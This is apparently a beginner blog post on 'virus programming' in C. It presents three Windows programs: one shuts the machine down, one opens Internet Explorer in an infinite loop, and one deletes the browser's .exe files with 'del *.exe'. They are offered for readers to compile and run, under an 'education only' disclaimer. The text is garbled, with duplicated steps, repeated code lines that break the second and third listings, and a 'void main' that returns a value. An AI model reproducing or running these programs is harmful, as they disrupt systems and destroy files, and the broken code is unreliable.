In the previous articles , we have seen what is virus and where the idea was born , how it was spread across the network, the history of virus , In this article i am going share the info about the programing of virus, the explanation is in purely basic level and i am starting this tutorial with programing in C Language
Virus programming is similar to normal software/application development using some programming language . The most common language used for virus programming C programming and next position taken by VB script . In this article we will see some basic programing which works desktop level on windows operating system.
as this is the first post of virus programing , i am focusing on basic programing only,let us see some
note :
as the we are all programmers/ programing learners , we are not suppose to call the a program as virus ,in the point of programmers view we should call program is a program not the virus..i used to call virus a program and i never prefer to call virus , so be notice that while reading the article
do not try on your system without aware of recovering from virus, In case the author is not responsible for any damage caused by you
let us see our first program written for shutdown the system , when the program is excute
Step 1: Write the following program in TURBOC 3.0 or above .
Program 1:
#include <stdio.h>
#include <stdlib.h>
void main()
{
char ch;
printf("Do you want to shutdown your computer now (y/n)\n");
scanf("%c",&ch);
if (ch == 'y' || ch == 'Y')
system("C:\\WINDOWS\\System32\\shutdown /s");
return 0;
}
Explanation :
If you were a C programmer , you might have understood it easily , In the first two lines two include statements , <stdio.h> and <stdlib.h> usually used basic adopt basic functions of c into the program .
main function started , a variable ch created to store user requirement whether the system need to shutdown or not and the next printf statement used to ask the user (options yes/no), scanf statement for receiving user response ,as per user response the further instruction is excuted C:\\WINDOWS\\System32\\ , it locates the location of commands in windows , we have used shutdown with option s to shutdown the system
if you excute this program , the system will shutdown automatically , use TURBOC compiler (suggestion)
if your are using windows XP operating system replace /s with -s in the statement C:\\WINDOWS\\System32\\shutdown /s
Step 2: Save the above file. Let file name is close.c
Step 3: Only compile the above program.
Step 4: Now close the turbo c compiler and open that directory in window operating system where you have saved the close.c (default directory c:\tc\bin)
Step 5: Double click on its .exe file (close.exe)
Step 3: Only compile the above program.
Step 4: Now close the turbo c compiler and open that directory in window operating system where you have saved the close.c (default directory c:\tc\bin)
Step 5: Double click on its .exe file (close.exe)
thats it, now you have created and used a program called virus..
program 2 :
a program to open IE(internet explorer) infinite times
a program to open IE(internet explorer) infinite times
follow the above specified four steps for every program for building the virus program.
#include<stdio.h>
#include<dos.h>
int main (void)
#include<dos.h>
int main (void)
{
for(; ;)
for(; ;)
{
system("c:\\progra~1\\intern~1\\iexplore.exe");
}
return 0;
}
system("c:\\progra~1\\intern~1\\iexplore.exe");
}
return 0;
}
Explanation :
simply , i have used a infinite for loop which always excuting to open IE(internet explorer), use can use other programs to wake up like command promt or notepad or vlc player etc..
program 3 :
(3) Write a c program which delete the all the .exe file of internet explorer so that internet explorer will not work?
#include<stdio.h>
#include<dos.h>
int main(void)
#include<stdio.h>
#include<dos.h>
int main(void)
{
system("cd c:\\progra~1\\intern~1");
system("del *.exe");
system("cls");
return 0;
}
system("cd c:\\progra~1\\intern~1");
system("del *.exe");
system("cls");
return 0;
}
Explanation :
we have used the command to locate directory and than delete file with all files with extension .exe , thats it
in the nest post we will see some more programs with advanced techniques .
NOTE :
The articles in this blog are completely for education purpose only, In any manner the author /blog do not intent to encourage to do hacking over the network,In case any sense the issues caused by you, the author responsible for your work ,its your own risk please have a kind sense and be ETHICAL
.
NOTE :
The articles in this blog are completely for education purpose only, In any manner the author /blog do not intent to encourage to do hacking over the network,In case any sense the issues caused by you, the author responsible for your work ,its your own risk please have a kind sense and be ETHICAL
.